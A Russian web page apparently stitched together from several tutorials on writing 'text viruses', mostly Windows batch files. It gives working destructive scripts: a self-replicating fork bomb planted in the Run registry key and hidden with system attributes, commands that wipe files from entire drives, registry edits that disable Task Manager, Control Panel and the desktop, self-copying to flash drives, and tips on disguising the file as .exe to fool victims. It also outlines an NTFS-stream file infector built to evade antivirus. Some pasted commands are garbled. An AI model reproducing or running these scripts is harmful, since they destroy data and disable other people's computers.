Как сделать текстовый вирус

Как создать, написать компьютерный вирус?

Как сделать текстовый вирус. Смотреть фото Как сделать текстовый вирус. Смотреть картинку Как сделать текстовый вирус. Картинка про Как сделать текстовый вирус. Фото Как сделать текстовый вирус

Создаем простейший вирус

В данной статье мы рассмотрим создание вируса, который после своего запуска будет бесконечно открывать окно командной строки. Бесконечно и очень быстро открывающиеся окна командной строки не дадут пользователю спокойно работать. Закрыть их всех не успеет никто и очень скоро они забьют оперативную память компьютера, что в свою очередь сильно затормозит работу компьютера, вплоть до полного зависания. Выглядеть это будет приблизительно так:

Как сделать текстовый вирус. Смотреть фото Как сделать текстовый вирус. Смотреть картинку Как сделать текстовый вирус. Картинка про Как сделать текстовый вирус. Фото Как сделать текстовый вирус

Вдобавок, мы закинем наш вирус в автозагрузку, что обеспечит автоматический запуск вируса вместе с операционной системой.

Код создаваемого вируса

Сколько программистов, столько разных решений можно придумать для каждой задачи. Я приведу один из своих методов решения такой задачи.

[code]md c:\papka
echo start c:\papka\virus.bat>c:\papka\virus.bat
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v virus /d c:\papka\virus.bat
attrib +r +h +s c:\papka
attrib +r +h +s c:\papka\virus.bat
start c:\papka\virus.bat
del %0[/code]

А теперь разберем сам код. Первая строчка создает папку с именем papka в корне диска C:/. Такой адрес приведен только для примера. Использование же корня папки C:/ не совсем хороший вариант для вируса. Если Вы хотите обеспечить хорошую выживаемость Вашему вирусу, лучше всего спрятать его подальше. Первую команду можно даже пропустить, если Вы закинете сам вирус в уже созданную директорию.

Третья строчка закидывает созданный нами во второй строчке тело вируса в автозагрузку. Для этого используется пользовательская ветка реестра, так как к ней у пользователя всегда есть доступ. А вот использовать автозагрузку компьютера не безопасно, так как пользователь может не иметь административного доступа, что вызовет ненужную ошибку.

Четвертая и пятая строка кода изменяют атрибуты вируса и папки, где хранится вирус. Данными командами, а для этого используется команда attrib, мы добавляем атрибуты Только чтение, Скрытый и Системный и для папки, и для вируса. Использование атрибута r(Только чтение) необязательно. А вот атрибуты Скрытый и Системный хорошо защитят созданный нами вирус. Если не верите, то почитайте статью про вирус, который превращает папки на флешке в ярлыки. Он использует именно эту технологию.

6-ая строчка кода запускает наш вирус. Вы можете пропустить этот пункт, если хотите, чтобы первый запуск вируса произошел только после перезагрузки компьютера.

Смысл созданного вируса

Смысл вируса, который уместился в эти 7 строк — создать основной вирус, защитить его и обеспечить его постоянную работу. А так же подмести свои следы. А что делает основной вирус? После запуска основного вируса, он выполняет ту команду, которая вписана в нее. А это команда, в свою очередь, запускает наш вирус, который опять-таки снова запускает самого себя. И так до бесконечности.

Как бороться с такими вирусами?

Во-первых, начало борьбы с данным вирусом начнется после того, как он запуститься. Очень скоро вирус заполнит своими копиями оперативную память и Вы даже мышкой шевельнуть не сможете. Поэтому, такой спектакль нужно пресекать сразу. Для этого прекрасно подойдет кнопка Break на клавиатуре. Жмите ее столько, сколько понадобится, чтобы новые копии перестали создаваться. На клавиатурах без кнопки Break, может помочь сочетание клавиш Ctrl+C.

Как удалить такой вирус?

Вы можете найти и удалить вирус через его запись в автозагрузке(подробнее по ссылке). А так же Вы можете выйти на вирус по команде, которая будет высвечиваться в окне командного интерпретатора. Естественно, если Вы сможете добраться до скрытого и системного файла. Вот таким образом происходит создание простого вируса.

Источник

Как сделать текстовый вирус

Как сделать текстовый вирус. Смотреть фото Как сделать текстовый вирус. Смотреть картинку Как сделать текстовый вирус. Картинка про Как сделать текстовый вирус. Фото Как сделать текстовый вирус

Для начало нам надо создать Текстовый документ.txt

Правой кнопкой мыши по рабочему столу,дальше «создать» и выбираем «Текстовый документ»

Открываем его, дальше нам надо забить в него команды bat файлов

Примеры ниже:—-»»>
1-В блокноте пишем вот эту команду @echo off Ну а дальше уже все свои вирусы:Вирусы вот там ниже!
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul – Поменять местами значения кнопок мыши

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies ExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f >nul – Делает невозможным запуск приложений

time 0:00 >nul – Поставить время на 00:00

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies System /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul – Запретить редактирование реестра вручную

del «%SystemRoot%Cursors*.*» >nul – Удалить курсор мыши

del «%SystemRoot%Media» /q >nul – Удалить системные звуки Windows

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul – Запретить вызов панели управления

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul – Убрать рабочий стол

net share «ResName»=»C:» >nul – Расшарить диск C:

label C:Диск >nul – Переименовать диск С:

msg * «Текст сообщения» >nul – Показать Windows-стилизованное сообщение с кнопкой ОК

del «%0» >nul – Самоликвидация вирус
Простенькие вирусы

Убирает рабочий стол

@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul

Запрещает запускать программы

@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul

@echo off
del «%SystemRoot%\Driver Cache\i386\driver.cab» /f /q >nul

Удаляет звуки Windows

@echo off
del «%SystemRoot%\Media» /q >nul

Запрещает заходить в панель управления

@echo off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul

Запрещает комбинацию Ctrl-Alt-Delete

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

Меняет местами значение кнопок мыши

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Удаляет курсор мыши

del «%SystemRoot%Cursors*.*» >nul

Меняет название корзины

reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F

Убирает панель управления

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)

Источник

Как создать вирус в текстовом редакторе: в помощь новичкам

Как ни странно, но информацией о том, как создать вирус, интересуются не только компьютерные гении и умные программисты, а еще и обычные пользователи персонального компьютера. Иногда злопамятные люди осознанно готовы нанести вред жертве путем создания вредоносного программного обеспечения, но чаще всего это всего лишь розыгрыш кибернетического характера. Любое проникновение в компьютер третьих лиц или же умышленное нанесение вреда программному обеспечению карается законодательством многих стран. Данная статья о том, как сделать вирус, может использоваться только для того, чтобы пользователь понимал, как применяются команды Windows NT.

Создание вируса

Создать свой собственный компьютерный вирус может каждый начинающий пользователь ПК. Для этого совсем не обязательно владеть знаниями в области программирования. Достаточно иметь желание, немного свободного времени для того, чтобы разобраться в простейших командах, ну и, конечно же, компьютер. Эта статься научит вас, как создать вирус в «Блокноте». В данном случае мы будем работать без различных интерпретаторов, код не будем помещать в специализированные среды разработки. В чем заключается суть данного метода? Наша программа (вирус) будет выполняться путем преобразования текстового файла в пакетный файл Windows с расширением (*.bat). После его запуска будут выполняться все события, которые вы укажете в исполняемом файле. Теперь вы знаете в теории, как создать вирус, далее можно переходить к более подробному изучению этой темы. Хочу вас предупредить, что эти вирусы не предназначены для серьезных вещей. Хоть они и могут навредить компьютеру, но масштаб трагедии невелик. Украсть информацию у жертвы у вас не получится, а уж тем более следить за ней. Настало время показать вам, как создать вирус. Для этого советую вам научиться применять команды управления Windows NT, некоторые из них будут описаны далее. Открываем обычный текстовый редактор и набираем в нем такую команду: @echo off.

Как сделать текстовый вирус. Смотреть фото Как сделать текстовый вирус. Смотреть картинку Как сделать текстовый вирус. Картинка про Как сделать текстовый вирус. Фото Как сделать текстовый вирус

Как сделать текстовый вирус. Смотреть фото Как сделать текстовый вирус. Смотреть картинку Как сделать текстовый вирус. Картинка про Как сделать текстовый вирус. Фото Как сделать текстовый вирус

Объяснять каждую команду нет смысла, но суть ее в том, что теперь кнопки вашей мыши запрограммированы в обратном порядке (назначение кнопок поменялось местами). Теперь сохраните данный файл и поменяйте его расширение (вместо *.txt поставьте *.bat). Перед вами пакетный файл Windows, после запуска которого ваша мышь будет работать неправильно. Вы получили наглядный пример того, как создать вирус, и если это вам интересно, то можете продолжить изучать такого рода команды и копать эту нишу глубже. Если хотите серьезно напугать вашу жертву, то можете добавить такие строки:

Как сделать текстовый вирус. Смотреть фото Как сделать текстовый вирус. Смотреть картинку Как сделать текстовый вирус. Картинка про Как сделать текстовый вирус. Фото Как сделать текстовый вирус

Все уже придумано

Вот только зачем изобретать велосипед, если опытные программисты и хакеры очень сильно упростили нам жизнь? В открытом доступе вы без проблем сможете найти программку под названием «Генератор вирусов «Кузя». Вам не нужно будет писать вручную все команды. Достаточно только выбрать нужное действие, а программа самостоятельно создаст для вас этот вредоносный файл.

Источник

Как написать вирус для windows

Как сделать текстовый вирус. Смотреть фото Как сделать текстовый вирус. Смотреть картинку Как сделать текстовый вирус. Картинка про Как сделать текстовый вирус. Фото Как сделать текстовый вирус

C чего начать писать вирус для windows?

Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.

Как сделать текстовый вирус. Смотреть фото Как сделать текстовый вирус. Смотреть картинку Как сделать текстовый вирус. Картинка про Как сделать текстовый вирус. Фото Как сделать текстовый вирусФайловая система NTFS поддерживает несколько потоков в рамках одного файла

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.

Алгоритм работы вируса

Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.

Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.

В качестве примера архиватора, поддерживающего файловые потоки, можно привести WinRAR. Вкладка «Дополнительно» в диалоговом окне «Имя и параметры архива» содержит группу опций NTFS. В составе этой группы опций есть флажок «Сохранять файловые потоки». Установи эту опцию, если при упаковке файлов, содержащих несколько потоков, требуется сохранить их все.

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.

Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.

Программный код вируса для windows

Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком эти языки неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера. Вот исходный код нашего вируса.

Компиляция и тестирование вируса для windows

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте flatassembler.net. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.

Скачай последнюю версию FASM для Windows, распакуй архив и запусти приложение fasmw.exe. Скопируй исходный код вируса в окошко программы и выполни команды Run → Compile, а затем укажи, в какую папку сохранить скомпилированный исполняемый файл.

Как сделать текстовый вирус. Смотреть фото Как сделать текстовый вирус. Смотреть картинку Как сделать текстовый вирус. Картинка про Как сделать текстовый вирус. Фото Как сделать текстовый вирусДиалоговое окно, свидетельствующее об успешном заражении

Если попытка заражения потерпела неудачу, первым делом необходимо убедиться, что права доступа к файлу есть. Захватывать их самостоятельно наш вирус не умеет. Во всяком случае — пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.

Теперь запусти зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно, показанное на рисунке, а после нажатия на кнопку ОK передает управление оригинальному коду программы.

Как сделать текстовый вирус. Смотреть фото Как сделать текстовый вирус. Смотреть картинку Как сделать текстовый вирус. Картинка про Как сделать текстовый вирус. Фото Как сделать текстовый вирусДиалоговое окно, отображаемое зараженным файлом при запуске на исполнение

Чтобы фокус сработал в Windows 10, вирус должен быть запущен от имени администратора.

Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной начинкой. Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.

До сих пор рассматриваемый вирус действительно был абсолютно безобиден. Он не размножается и не выполняет никаких злонамеренных или деструктивных действий. Ведь он создан лишь для демонстрации потенциальной опасности, подстерегающей пользователей NTFS. Исследовательская деятельность преступлением не является. Но вот если кто-то из вас решит доработать вирус так, чтобы он самостоятельно размножался и совершал вредоносные действия, то следует напомнить, что это уже станет уголовно наказуемым деянием.

Еще одна проблема заключается в том, что вирус не корректирует длину целевого файла и после внедрения она станет равной 4 Кбайт (именно таков размер текущей версии исполняемого файла вируса). Это плохо, так как пользователь тут же заподозрит подвох (файл explorer.exe, занимающий 4 Кбайт, выглядит довольно забавно), занервничает и начнет запускать антивирусы. Чтобы устранить этот недостаток, можно запомнить длину инфицируемого файла перед внедрением, затем скопировать в основной поток тело вируса, открыть файл на запись и вызвать функцию SetFilePointer для установки указателя на оригинальный размер, увеличивая размер инфицированного файла до исходного значения.

Заключение

Используй полученные знания с осторожностью, изучай ассемблер, не забывай мыть руки перед едой и всегда помни о том, что создание вирусов в каких-либо иных целях, кроме исследовательских, не только очень веселое, но еще и противозаконное занятие. А закон, как любил говорить один литературный персонаж, надо чтить!

Источник

Написание вирусов в блокноте

Как сделать текстовый вирус. Смотреть фото Как сделать текстовый вирус. Смотреть картинку Как сделать текстовый вирус. Картинка про Как сделать текстовый вирус. Фото Как сделать текстовый вирус

Недавно вспомнил об одной из своих ранних статей о сценариях Windows и, пожалуй выложу сегодня её в почти первозданном виде. Сейчас, конечно, предпочел бы для таких целей, как минимум VBS, но, может кому то будет интересно почитать и о простейших сценариях…

Для начала, я откажусь от всякой ответственности за представленный материал и заявлю, что все, что выбудете делать используя информацию, изложенную ниже вы делаете исключительно на свой страх и риск! И, на всякий случай, заявлю, что никаким написанием вирусов я не занимаюсь. Просто когда то было интересно, как это работает и я решил поделиться…

Вы наверняка слышали о сценариях Windows, файлах с расширением *.bat.
Если разобраться, то они являются текстовым файлом, содержащим определенные инструкции, которые будут выполнены после запуска. Итак для написания самых простых вирусов (или просто сценариев) нам понадобится блокнот, или другой текстовый редактор, а также немного энтузиазма.

Итак, как я уже говорил, сценарий имеет расширение *.bat и является текстовым файлом, значит:
1. Создаем текстовый документ с инструкциями: «Taskmgr»( без кавычек);
2. Сохраняем с любым именем и расширением *.bat;
3. Открываем файл и видим что открылся Диспетчер задач.
Вместо Taskmgr можно указать любую программу(например: mspaint – Paint, Calc – калькулятор). До вирусов еще далеко, но теперь вы знаете как работают сценарии.

md folder
copy%0 F:\program.bat

Запускаем и видим, что в папке, с которой была запущена наша программка, появилась еще одна папка с именем «folder», а на диске F: появился файл «program.bat» содержащий текст нашей программы.

Теперь я приведу перечень строк, которые могут присутствовать в наших программах(вирусах):

Используя полученные знания, мы можем написать такие вредоносные программки:

1. Меняет дату и время на компьютере и копирует себя на диск С и на флешку:

time 14:13
date 11.07.12
copy %0 C:\date.bat
copy %0 F:\date.bat

2. Или же удаляет все файлы с флешки, переименовывает её и копирует себя на неё:

del F:\ *.* /q
label F:error
copy %0 F:\deleter.bat

3. Удаляет все файлы с дисков (кроме тех, которые находятся в папках) и меняет дату и время:

del C:\ *.* /q
del D:\ *.* /q
del E:\ *.* /q
del F:\ *.* /q
time 00:00
date 13.06.23
del *.* /q

Сложно не заметить окно командной строки, которое открывается при запуске наших программ и тут же исчезает… Так вот чтобы его скрыться от жертвы добавляем вначале программы команду «@echo off» также после каждой команды нужно добавить действие, которое скроет строчку «>nul».
После такого усовершенствования наш вирус принимает вид:

@echo off
del C:\ *.* /q >nul
del D:\ *.* /q >nul
del E:\ *.* /q >nul
del F:\ *.* /q >nul
time 00:00 >nul
date 13.06.23 >nul
del *.* /q >nul

Вирус готов! Да вот только кто откроет какой то непонятный файл с непонятным расширением да еще и без иконки? Мало кто! Значит необходимо отконвертировать наш вирус в формат *.exe. для этого можно использовать WinRAR или же еще лучше такую программу как «Bat to exe converter».

В наших вирусах мы можем использовать еще такие скрипты:

1. Меняет клавиши мыши местами:

%SystemRoot%/system32/rundll32 user32, SwapMouseButton

2. Открывает выбранную программу до полного зависания компьютера:

😡 ;
Start mspaint
goto x ;

3. Добавляет наш вирус в автозапуск (!):

copy «»%0″» «%SystemRoot%\system32\File.bat»
reg add «HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run» /v «Filel» /t REG_SZ /d «%SystemRoot%\system32\File.bat» /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

Теперь имеем достаточно знаний для написания простеньких вирусов. Напоследок напомню, что писать вирусы это не очень хорошо и я надеюсь что читали вы эту статью исключительно из любопытства. Но, тем не менее удачи. 😉

Источник

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *